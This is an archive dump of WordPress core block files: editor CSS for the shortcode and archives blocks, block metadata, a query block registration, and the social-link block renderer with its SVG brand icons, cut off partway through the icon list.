} shortcode/editor.min.css 0000644 00000002000 15233103272 0011306 0 ustar 00 [data-type="core/shortcode"] .block-editor-plain-text{max-height:250px}[data-type="core/shortcode"].components-placeholder{min-height:0}.blocks-shortcode__textarea{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal}@media (prefers-reduced-motion:reduce){.blocks-shortcode__textarea{transition-duration:0s;transition-delay:0s}}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px;line-height:normal}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.blocks-shortcode__textarea::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.blocks-shortcode__textarea::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.blocks-shortcode__textarea:-ms-input-placeholder{color:rgba(30,30,30,.62)}shortcode/editor.css 0000644 00000005154 15233103272 0010541 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
[data-type="core/shortcode"] .block-editor-plain-text {
max-height: 250px;
}
[data-type="core/shortcode"].components-placeholder {
min-height: 0;
}
.blocks-shortcode__textarea {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
padding: 6px 8px;
box-shadow: 0 0 0 transparent;
transition: box-shadow 0.1s linear;
border-radius: 2px;
border: 1px solid #757575;
/* Fonts smaller than 16px causes mobile safari to zoom. */
font-size: 16px;
/* Override core line-height. To be reviewed. */
line-height: normal;
}
@media (prefers-reduced-motion: reduce) {
.blocks-shortcode__textarea {
transition-duration: 0s;
transition-delay: 0s;
}
}
@media (min-width: 600px) {
.blocks-shortcode__textarea {
font-size: 13px;
/* Override core line-height. To be reviewed. */
line-height: normal;
}
}
.blocks-shortcode__textarea:focus {
border-color: var(--wp-admin-theme-color);
box-shadow: 0 0 0 1px var(--wp-admin-theme-color);
outline: 2px solid transparent;
}
.blocks-shortcode__textarea::-webkit-input-placeholder {
color: rgba(30, 30, 30, 0.62);
}
.blocks-shortcode__textarea::-moz-placeholder {
opacity: 1;
color: rgba(30, 30, 30, 0.62);
}
.blocks-shortcode__textarea:-ms-input-placeholder {
color: rgba(30, 30, 30, 0.62);
} shortcode/editor-rtl.min.css 0000644 00000002000 15233103272 0012105 0 ustar 00 [data-type="core/shortcode"] .block-editor-plain-text{max-height:250px}[data-type="core/shortcode"].components-placeholder{min-height:0}.blocks-shortcode__textarea{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal}@media (prefers-reduced-motion:reduce){.blocks-shortcode__textarea{transition-duration:0s;transition-delay:0s}}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px;line-height:normal}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.blocks-shortcode__textarea::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.blocks-shortcode__textarea::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.blocks-shortcode__textarea:-ms-input-placeholder{color:rgba(30,30,30,.62)}query.php 0000644 00000000460 15233103272 0006420 0 ustar 00 <?php
/**
* Server-side rendering of the `core/query` block.
*
* @package WordPress
*/
/**
* Registers the `core/query` block on the server.
*/
function register_block_core_query() {
register_block_type_from_metadata(
__DIR__ . '/query'
);
}
add_action( 'init', 'register_block_core_query' );
archives/block.json 0000644 00000000664 15233103272 0010341 0 ustar 00 {
"apiVersion": 2,
"name": "core/archives",
"title": "Archives",
"category": "widgets",
"description": "Display a monthly archive of your posts.",
"textdomain": "default",
"attributes": {
"displayAsDropdown": {
"type": "boolean",
"default": false
},
"showPostCounts": {
"type": "boolean",
"default": false
}
},
"supports": {
"align": true,
"html": false
},
"editorStyle": "wp-block-archives-editor"
}
archives/editor-rtl.min.css 0000644 00000000051 15233103272 0011723 0 ustar 00 ul.wp-block-archives{padding-right:2.5em} archives/editor.min.css 0000644 00000000050 15233103272 0011123 0 ustar 00 ul.wp-block-archives{padding-left:2.5em} archives/editor.css 0000644 00000002514 15233103272 0010350 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
ul.wp-block-archives {
padding-left: 2.5em;
} archives/editor-rtl.css 0000644 00000002515 15233103272 0011150 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
ul.wp-block-archives {
padding-right: 2.5em;
} social-link.php 0000644 00000163651 15233103272 0007474 0 ustar 00 <?php
/**
* Server-side rendering of the `core/social-link` blocks.
*
* @package WordPress
*/
/**
* Renders the `core/social-link` block on server.
*
* @param Array $attributes The block attributes.
* @param String $content InnerBlocks content of the Block.
* @param WP_Block $block Block object.
*
* @return string Rendered HTML of the referenced block.
*/
function render_block_core_social_link( $attributes, $content, $block ) {
$open_in_new_tab = isset( $block->context['openInNewTab'] ) ? $block->context['openInNewTab'] : false;
$service = ( isset( $attributes['service'] ) ) ? $attributes['service'] : 'Icon';
$url = ( isset( $attributes['url'] ) ) ? $attributes['url'] : false;
$label = ( isset( $attributes['label'] ) ) ? $attributes['label'] : sprintf(
/* translators: %1$s: Social-network name. %2$s: URL. */
__( '%1$s: %2$s' ),
block_core_social_link_get_name( $service ),
$url
);
$class_name = isset( $attributes['className'] ) ? ' ' . $attributes['className'] : false;
// Don't render a link if there is no URL set.
if ( ! $url ) {
return '';
}
$attribute = '';
if ( $open_in_new_tab ) {
$attribute = 'rel="noopener nofollow" target="_blank"';
}
$icon = block_core_social_link_get_icon( $service );
$wrapper_attributes = get_block_wrapper_attributes(
array(
'class' => 'wp-social-link wp-social-link-' . $service . $class_name,
'style' => block_core_social_link_get_color_styles( $block->context ),
)
);
return '<li ' . $wrapper_attributes . '><a href="' . esc_url( $url ) . '" aria-label="' . esc_attr( $label ) . '" ' . $attribute . ' class="wp-block-social-link-anchor"> ' . $icon . '</a></li>';
}
/**
* Registers the `core/social-link` blocks.
*/
function register_block_core_social_link() {
register_block_type_from_metadata(
__DIR__ . '/social-link',
array(
'render_callback' => 'render_block_core_social_link',
)
);
}
add_action( 'init', 'register_block_core_social_link' );
/**
* Returns the SVG for social link.
*
* @param string $service The service icon.
*
* @return string SVG Element for service icon.
*/
function block_core_social_link_get_icon( $service ) {
$services = block_core_social_link_services();
if ( isset( $services[ $service ] ) && isset( $services[ $service ]['icon'] ) ) {
return $services[ $service ]['icon'];
}
return $services['share']['icon'];
}
/**
* Returns the brand name for social link.
*
* @param string $service The service icon.
*
* @return string Brand label.
*/
function block_core_social_link_get_name( $service ) {
$services = block_core_social_link_services();
if ( isset( $services[ $service ] ) && isset( $services[ $service ]['name'] ) ) {
return $services[ $service ]['name'];
}
return $services['share']['name'];
}
/**
* Returns the SVG for social link.
*
* @param string $service The service slug to extract data from.
* @param string $field The field ('name', 'icon', etc) to extract for a service.
*
* @return array|string
*/
function block_core_social_link_services( $service = '', $field = '' ) {
$services_data = array(
'fivehundredpx' => array(
'name' => '500px',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M6.94026,15.1412c.00437.01213.108.29862.168.44064a6.55008,6.55008,0,1,0,6.03191-9.09557,6.68654,6.68654,0,0,0-2.58357.51467A8.53914,8.53914,0,0,0,8.21268,8.61344L8.209,8.61725V3.22948l9.0504-.00008c.32934-.0036.32934-.46353.32934-.61466s0-.61091-.33035-.61467L7.47248,2a.43.43,0,0,0-.43131.42692v7.58355c0,.24466.30476.42131.58793.4819.553.11812.68074-.05864.81617-.2457l.018-.02481A10.52673,10.52673,0,0,1,9.32258,9.258a5.35268,5.35268,0,1,1,7.58985,7.54976,5.417,5.417,0,0,1-3.80867,1.56365,5.17483,5.17483,0,0,1-2.69822-.74478l.00342-4.61111a2.79372,2.79372,0,0,1,.71372-1.78792,2.61611,2.61611,0,0,1,1.98282-.89477,2.75683,2.75683,0,0,1,1.95525.79477,2.66867,2.66867,0,0,1,.79656,1.909,2.724,2.724,0,0,1-2.75849,2.748,4.94651,4.94651,0,0,1-.86254-.13719c-.31234-.093-.44519.34058-.48892.48349-.16811.54966.08453.65862.13687.67489a3.75751,3.75751,0,0,0,1.25234.18375,3.94634,3.94634,0,1,0-2.82444-6.742,3.67478,3.67478,0,0,0-1.13028,2.584l-.00041.02323c-.0035.11667-.00579,2.881-.00644,3.78811l-.00407-.00451a6.18521,6.18521,0,0,1-1.0851-1.86092c-.10544-.27856-.34358-.22925-.66857-.12917-.14192.04372-.57386.17677-.47833.489Zm4.65165-1.08338a.51346.51346,0,0,0,.19513.31818l.02276.022a.52945.52945,0,0,0,.3517.18416.24242.24242,0,0,0,.16577-.0611c.05473-.05082.67382-.67812.73287-.738l.69041.68819a.28978.28978,0,0,0,.21437.11032.53239.53239,0,0,0,.35708-.19486c.29792-.30419.14885-.46821.07676-.54751l-.69954-.69975.72952-.73469c.16-.17311.01874-.35708-.12218-.498-.20461-.20461-.402-.25742-.52855-.14083l-.7254.72665-.73354-.73375a.20128.20128,0,0,0-.14179-.05695.54135.54135,0,0,0-.34379.19648c-.22561.22555-.274.38149-.15656.5059l.73374.7315-.72942.73072A.26589.26589,0,0,0,11.59191,14.05782Zm1.59866-9.915A8.86081,8.86081,0,0,0,9.854,4.776a.26169.26169,0,0,0-.16938.22759.92978.92978,0,0,0,.08619.42094c.05682.14524.20779.531.50006.41955a8.40969,8.40969,0,0,1,2.91968-.55484,7.87875,7.87875,0,0,1,3.086.62286,8.61817,8.61817,0,0,1,2.30562,1.49315.2781.2781,0,0,0,.18318.07586c.15529,0,.30425-.15253.43167-.29551.21268-.23861.35873-.4369.1492-.63538a8.50425,8.50425,0,0,0-2.62312-1.694A9.0177,9.0177,0,0,0,13.19058,4.14283ZM19.50945,18.6236h0a.93171.93171,0,0,0-.36642-.25406.26589.26589,0,0,0-.27613.06613l-.06943.06929A7.90606,7.90606,0,0,1,7.60639,18.505a7.57284,7.57284,0,0,1-1.696-2.51537,8.58715,8.58715,0,0,1-.5147-1.77754l-.00871-.04864c-.04939-.25873-.28755-.27684-.62981-.22448-.14234.02178-.5755.088-.53426.39969l.001.00712a9.08807,9.08807,0,0,0,15.406,4.99094c.00193-.00192.04753-.04718.0725-.07436C19.79425,19.16234,19.87422,18.98728,19.50945,18.6236Z"></path></svg>',
),
'amazon' => array(
'name' => 'Amazon',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M13.582,8.182C11.934,8.367,9.78,8.49,8.238,9.166c-1.781,0.769-3.03,2.337-3.03,4.644 c0,2.953,1.86,4.429,4.253,4.429c2.02,0,3.125-0.477,4.685-2.065c0.516,0.747,0.685,1.109,1.629,1.894 c0.212,0.114,0.483,0.103,0.672-0.066l0.006,0.006c0.567-0.505,1.599-1.401,2.18-1.888c0.231-0.188,0.19-0.496,0.009-0.754 c-0.52-0.718-1.072-1.303-1.072-2.634V8.305c0-1.876,0.133-3.599-1.249-4.891C15.23,2.369,13.422,2,12.04,2 C9.336,2,6.318,3.01,5.686,6.351C5.618,6.706,5.877,6.893,6.109,6.945l2.754,0.298C9.121,7.23,9.308,6.977,9.357,6.72 c0.236-1.151,1.2-1.706,2.284-1.706c0.584,0,1.249,0.215,1.595,0.738c0.398,0.584,0.346,1.384,0.346,2.061V8.182z M13.049,14.088 c-0.451,0.8-1.169,1.291-1.967,1.291c-1.09,0-1.728-0.83-1.728-2.061c0-2.42,2.171-2.86,4.227-2.86v0.615 C13.582,12.181,13.608,13.104,13.049,14.088z M20.683,19.339C18.329,21.076,14.917,22,11.979,22c-4.118,0-7.826-1.522-10.632-4.057 c-0.22-0.199-0.024-0.471,0.241-0.317c3.027,1.762,6.771,2.823,10.639,2.823c2.608,0,5.476-0.541,8.115-1.66 C20.739,18.62,21.072,19.051,20.683,19.339z M21.336,21.043c-0.194,0.163-0.379,0.076-0.293-0.139 c0.284-0.71,0.92-2.298,0.619-2.684c-0.301-0.386-1.99-0.183-2.749-0.092c-0.23,0.027-0.266-0.173-0.059-0.319 c1.348-0.946,3.555-0.673,3.811-0.356C22.925,17.773,22.599,19.986,21.336,21.043z"></path></svg>',
),
'bandcamp' => array(
'name' => 'Bandcamp',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M15.27 17.289 3 17.289 8.73 6.711 21 6.711 15.27 17.289"></path></svg>',
),
'behance' => array(
'name' => 'Behance',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M7.799,5.698c0.589,0,1.12,0.051,1.606,0.156c0.482,0.102,0.894,0.273,1.241,0.507c0.344,0.235,0.612,0.546,0.804,0.938 c0.188,0.387,0.281,0.871,0.281,1.443c0,0.619-0.141,1.137-0.421,1.551c-0.284,0.413-0.7,0.751-1.255,1.014 c0.756,0.218,1.317,0.601,1.689,1.146c0.374,0.549,0.557,1.205,0.557,1.975c0,0.623-0.12,1.161-0.359,1.612 c-0.241,0.457-0.569,0.828-0.973,1.114c-0.408,0.288-0.876,0.5-1.399,0.637C9.052,17.931,8.514,18,7.963,18H2V5.698H7.799 M7.449,10.668c0.481,0,0.878-0.114,1.192-0.345c0.311-0.228,0.463-0.603,0.463-1.119c0-0.286-0.051-0.523-0.152-0.707 C8.848,8.315,8.711,8.171,8.536,8.07C8.362,7.966,8.166,7.894,7.94,7.854c-0.224-0.044-0.457-0.06-0.697-0.06H4.709v2.874H7.449z M7.6,15.905c0.267,0,0.521-0.024,0.759-0.077c0.243-0.053,0.457-0.137,0.637-0.261c0.182-0.12,0.332-0.283,0.441-0.491 C9.547,14.87,9.6,14.602,9.6,14.278c0-0.633-0.18-1.084-0.533-1.357c-0.356-0.27-0.83-0.404-1.413-0.404H4.709v3.388L7.6,15.905z M16.162,15.864c0.367,0.358,0.897,0.538,1.583,0.538c0.493,0,0.92-0.125,1.277-0.374c0.354-0.248,0.571-0.514,0.654-0.79h2.155 c-0.347,1.072-0.872,1.838-1.589,2.299C19.534,18,18.67,18.23,17.662,18.23c-0.701,0-1.332-0.113-1.899-0.337 c-0.567-0.227-1.041-0.544-1.439-0.958c-0.389-0.415-0.689-0.907-0.904-1.484c-0.213-0.574-0.32-1.21-0.32-1.899 c0-0.666,0.11-1.288,0.329-1.863c0.222-0.577,0.529-1.075,0.933-1.492c0.406-0.42,0.885-0.751,1.444-0.994 c0.558-0.241,1.175-0.363,1.857-0.363c0.754,0,1.414,0.145,1.98,0.44c0.563,0.291,1.026,0.686,1.389,1.181 c0.363,0.493,0.622,1.057,0.783,1.69c0.16,0.632,0.217,1.292,0.171,1.983h-6.428C15.557,14.84,15.795,15.506,16.162,15.864 M18.973,11.184c-0.291-0.321-0.783-0.496-1.384-0.496c-0.39,0-0.714,0.066-0.973,0.2c-0.254,0.132-0.461,0.297-0.621,0.491 c-0.157,0.197-0.265,0.405-0.328,0.628c-0.063,0.217-0.101,0.413-0.111,0.587h3.98C19.478,11.969,19.265,11.509,18.973,11.184z M15.057,7.738h4.985V6.524h-4.985L15.057,7.738z"></path></svg>',
),
'chain' => array(
'name' => 'Link',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M19.647,16.706a1.134,1.134,0,0,0-.343-.833l-2.549-2.549a1.134,1.134,0,0,0-.833-.343,1.168,1.168,0,0,0-.883.392l.233.226q.2.189.264.264a2.922,2.922,0,0,1,.184.233.986.986,0,0,1,.159.312,1.242,1.242,0,0,1,.043.337,1.172,1.172,0,0,1-1.176,1.176,1.237,1.237,0,0,1-.337-.043,1,1,0,0,1-.312-.159,2.76,2.76,0,0,1-.233-.184q-.073-.068-.264-.264l-.226-.233a1.19,1.19,0,0,0-.4.895,1.134,1.134,0,0,0,.343.833L15.837,19.3a1.13,1.13,0,0,0,.833.331,1.18,1.18,0,0,0,.833-.318l1.8-1.789a1.12,1.12,0,0,0,.343-.821Zm-8.615-8.64a1.134,1.134,0,0,0-.343-.833L8.163,4.7a1.134,1.134,0,0,0-.833-.343,1.184,1.184,0,0,0-.833.331L4.7,6.473a1.12,1.12,0,0,0-.343.821,1.134,1.134,0,0,0,.343.833l2.549,2.549a1.13,1.13,0,0,0,.833.331,1.184,1.184,0,0,0,.883-.38L8.728,10.4q-.2-.189-.264-.264A2.922,2.922,0,0,1,8.28,9.9a.986.986,0,0,1-.159-.312,1.242,1.242,0,0,1-.043-.337A1.172,1.172,0,0,1,9.254,8.079a1.237,1.237,0,0,1,.337.043,1,1,0,0,1,.312.159,2.761,2.761,0,0,1,.233.184q.073.068.264.264l.226.233a1.19,1.19,0,0,0,.4-.895ZM22,16.706a3.343,3.343,0,0,1-1.042,2.488l-1.8,1.789a3.536,3.536,0,0,1-4.988-.025l-2.525-2.537a3.384,3.384,0,0,1-1.017-2.488,3.448,3.448,0,0,1,1.078-2.561l-1.078-1.078a3.434,3.434,0,0,1-2.549,1.078,3.4,3.4,0,0,1-2.5-1.029L3.029,9.794A3.4,3.4,0,0,1,2,7.294,3.343,3.343,0,0,1,3.042,4.806l1.8-1.789A3.384,3.384,0,0,1,7.331,2a3.357,3.357,0,0,1,2.5,1.042l2.525,2.537a3.384,3.384,0,0,1,1.017,2.488,3.448,3.448,0,0,1-1.078,2.561l1.078,1.078a3.551,3.551,0,0,1,5.049-.049l2.549,2.549A3.4,3.4,0,0,1,22,16.706Z"></path></svg>',
),
'codepen' => array(
'name' => 'CodePen',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M22.016,8.84c-0.002-0.013-0.005-0.025-0.007-0.037c-0.005-0.025-0.008-0.048-0.015-0.072 c-0.003-0.015-0.01-0.028-0.013-0.042c-0.008-0.02-0.015-0.04-0.023-0.062c-0.007-0.015-0.013-0.028-0.02-0.042 c-0.008-0.02-0.018-0.037-0.03-0.057c-0.007-0.013-0.017-0.027-0.025-0.038c-0.012-0.018-0.023-0.035-0.035-0.052 c-0.01-0.013-0.02-0.025-0.03-0.037c-0.015-0.017-0.028-0.032-0.043-0.045c-0.01-0.012-0.022-0.023-0.035-0.035 c-0.015-0.015-0.032-0.028-0.048-0.04c-0.012-0.01-0.025-0.02-0.037-0.03c-0.005-0.003-0.01-0.008-0.015-0.012l-9.161-6.096 c-0.289-0.192-0.666-0.192-0.955,0L2.359,8.237C2.354,8.24,2.349,8.245,2.344,8.249L2.306,8.277 c-0.017,0.013-0.033,0.027-0.048,0.04C2.246,8.331,2.234,8.342,2.222,8.352c-0.015,0.015-0.028,0.03-0.042,0.047 c-0.012,0.013-0.022,0.023-0.03,0.037C2.139,8.453,2.125,8.471,2.115,8.488C2.107,8.501,2.099,8.514,2.09,8.526 C2.079,8.548,2.069,8.565,2.06,8.585C2.054,8.6,2.047,8.613,2.04,8.626C2.032,8.648,2.025,8.67,2.019,8.69 c-0.005,0.013-0.01,0.027-0.013,0.042C1.999,8.755,1.995,8.778,1.99,8.803C1.989,8.817,1.985,8.828,1.984,8.84 C1.978,8.879,1.975,8.915,1.975,8.954v6.093c0,0.037,0.003,0.075,0.008,0.112c0.002,0.012,0.005,0.025,0.007,0.038 c0.005,0.023,0.008,0.047,0.015,0.072c0.003,0.015,0.008,0.028,0.013,0.04c0.007,0.022,0.013,0.042,0.022,0.063 c0.007,0.015,0.013,0.028,0.02,0.04c0.008,0.02,0.018,0.038,0.03,0.058c0.007,0.013,0.015,0.027,0.025,0.038 c0.012,0.018,0.023,0.035,0.035,0.052c0.01,0.013,0.02,0.025,0.03,0.037c0.013,0.015,0.028,0.032,0.042,0.045 c0.012,0.012,0.023,0.023,0.035,0.035c0.015,0.013,0.032,0.028,0.048,0.04l0.038,0.03c0.005,0.003,0.01,0.007,0.013,0.01 l9.163,6.095C11.668,21.953,11.833,22,12,22c0.167,0,0.332-0.047,0.478-0.144l9.163-6.095l0.015-0.01 c0.013-0.01,0.027-0.02,0.037-0.03c0.018-0.013,0.035-0.028,0.048-0.04c0.013-0.012,0.025-0.023,0.035-0.035 c0.017-0.015,0.03-0.032,0.043-0.045c0.01-0.013,0.02-0.025,0.03-0.037c0.013-0.018,0.025-0.035,0.035-0.052 c0.008-0.013,0.018-0.027,0.025-0.038c0.012-0.02,0.022-0.038,0.03-0.058c0.007-0.013,0.013-0.027,0.02-0.04 c0.008-0.022,0.015-0.042,0.023-0.063c0.003-0.013,0.01-0.027,0.013-0.04c0.007-0.025,0.01-0.048,0.015-0.072 c0.002-0.013,0.005-0.027,0.007-0.037c0.003-0.042,0.007-0.079,0.007-0.117V8.954C22.025,8.915,22.022,8.879,22.016,8.84z M12.862,4.464l6.751,4.49l-3.016,2.013l-3.735-2.492V4.464z M11.138,4.464v4.009l-3.735,2.494L4.389,8.954L11.138,4.464z M3.699,10.562L5.853,12l-2.155,1.438V10.562z M11.138,19.536l-6.749-4.491l3.015-2.011l3.735,2.492V19.536z M12,14.035L8.953,12 L12,9.966L15.047,12L12,14.035z M12.862,19.536v-4.009l3.735-2.492l3.016,2.011L12.862,19.536z M20.303,13.438L18.147,12 l2.156-1.438L20.303,13.438z"></path></svg>',
),
'deviantart' => array(
'name' => 'DeviantArt',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M 18.19 5.636 18.19 2 18.188 2 14.553 2 14.19 2.366 12.474 5.636 11.935 6 5.81 6 5.81 10.994 9.177 10.994 9.477 11.357 5.81 18.363 5.81 22 5.811 22 9.447 22 9.81 21.634 11.526 18.364 12.065 18 18.19 18 18.19 13.006 14.823 13.006 14.523 12.641 18.19 5.636z"></path></svg>',
),
'dribbble' => array(
'name' => 'Dribbble',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M12,22C6.486,22,2,17.514,2,12S6.486,2,12,2c5.514,0,10,4.486,10,10S17.514,22,12,22z M20.434,13.369 c-0.292-0.092-2.644-0.794-5.32-0.365c1.117,3.07,1.572,5.57,1.659,6.09C18.689,17.798,20.053,15.745,20.434,13.369z M15.336,19.876c-0.127-0.749-0.623-3.361-1.822-6.477c-0.019,0.006-0.038,0.013-0.056,0.019c-4.818,1.679-6.547,5.02-6.701,5.334 c1.448,1.129,3.268,1.803,5.243,1.803C13.183,20.555,14.311,20.313,15.336,19.876z M5.654,17.724 c0.193-0.331,2.538-4.213,6.943-5.637c0.111-0.036,0.224-0.07,0.337-0.102c-0.214-0.485-0.448-0.971-0.692-1.45 c-4.266,1.277-8.405,1.223-8.778,1.216c-0.003,0.087-0.004,0.174-0.004,0.261C3.458,14.207,4.29,16.21,5.654,17.724z M3.639,10.264 c0.382,0.005,3.901,0.02,7.897-1.041c-1.415-2.516-2.942-4.631-3.167-4.94C5.979,5.41,4.193,7.613,3.639,10.264z M9.998,3.709 c0.236,0.316,1.787,2.429,3.187,5c3.037-1.138,4.323-2.867,4.477-3.085C16.154,4.286,14.17,3.471,12,3.471 C11.311,3.471,10.641,3.554,9.998,3.709z M18.612,6.612C18.432,6.855,17,8.69,13.842,9.979c0.199,0.407,0.389,0.821,0.567,1.237 c0.063,0.148,0.124,0.295,0.184,0.441c2.842-0.357,5.666,0.215,5.948,0.275C20.522,9.916,19.801,8.065,18.612,6.612z"></path></svg>',
),
'dropbox' => array(
'name' => 'Dropbox',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M12,6.134L6.069,9.797L2,6.54l5.883-3.843L12,6.134z M2,13.054l5.883,3.843L12,13.459L6.069,9.797L2,13.054z M12,13.459 l4.116,3.439L22,13.054l-4.069-3.257L12,13.459z M22,6.54l-5.884-3.843L12,6.134l5.931,3.663L22,6.54z M12.011,14.2l-4.129,3.426 l-1.767-1.153v1.291l5.896,3.539l5.897-3.539v-1.291l-1.769,1.153L12.011,14.2z"></path></svg>',
),
'etsy' => array(
'name' => 'Etsy',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M9.16033,4.038c0-.27174.02717-.43478.48913-.43478h6.22283c1.087,0,1.68478.92391,2.11957,2.663l.35326,1.38587h1.05978C19.59511,3.712,19.75815,2,19.75815,2s-2.663.29891-4.23913.29891h-7.962L3.29076,2.163v1.1413L4.731,3.57609c1.00543.19022,1.25.40761,1.33152,1.33152,0,0,.08152,2.71739.08152,7.20109s-.08152,7.17391-.08152,7.17391c0,.81522-.32609,1.11413-1.33152,1.30435l-1.44022.27174V22l4.2663-.13587h7.11957c1.60326,0,5.32609.13587,5.32609.13587.08152-.97826.625-5.40761.70652-5.89674H19.7038L18.644,18.52174c-.84239,1.90217-2.06522,2.038-3.42391,2.038H11.1712c-1.3587,0-2.01087-.54348-2.01087-1.712V12.65217s3.0163,0,3.99457.08152c.76087.05435,1.22283.27174,1.46739,1.33152l.32609,1.413h1.16848l-.08152-3.55978.163-3.587H15.02989l-.38043,1.57609c-.24457,1.03261-.40761,1.22283-1.46739,1.33152-1.38587.13587-4.02174.1087-4.02174.1087Z"></path></svg>',
),
'facebook' => array(
'name' => 'Facebook',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M12 2C6.5 2 2 6.5 2 12c0 5 3.7 9.1 8.4 9.9v-7H7.9V12h2.5V9.8c0-2.5 1.5-3.9 3.8-3.9 1.1 0 2.2.2 2.2.2v2.5h-1.3c-1.2 0-1.6.8-1.6 1.6V12h2.8l-.4 2.9h-2.3v7C18.3 21.1 22 17 22 12c0-5.5-4.5-10-10-10z"></path></svg>',
),
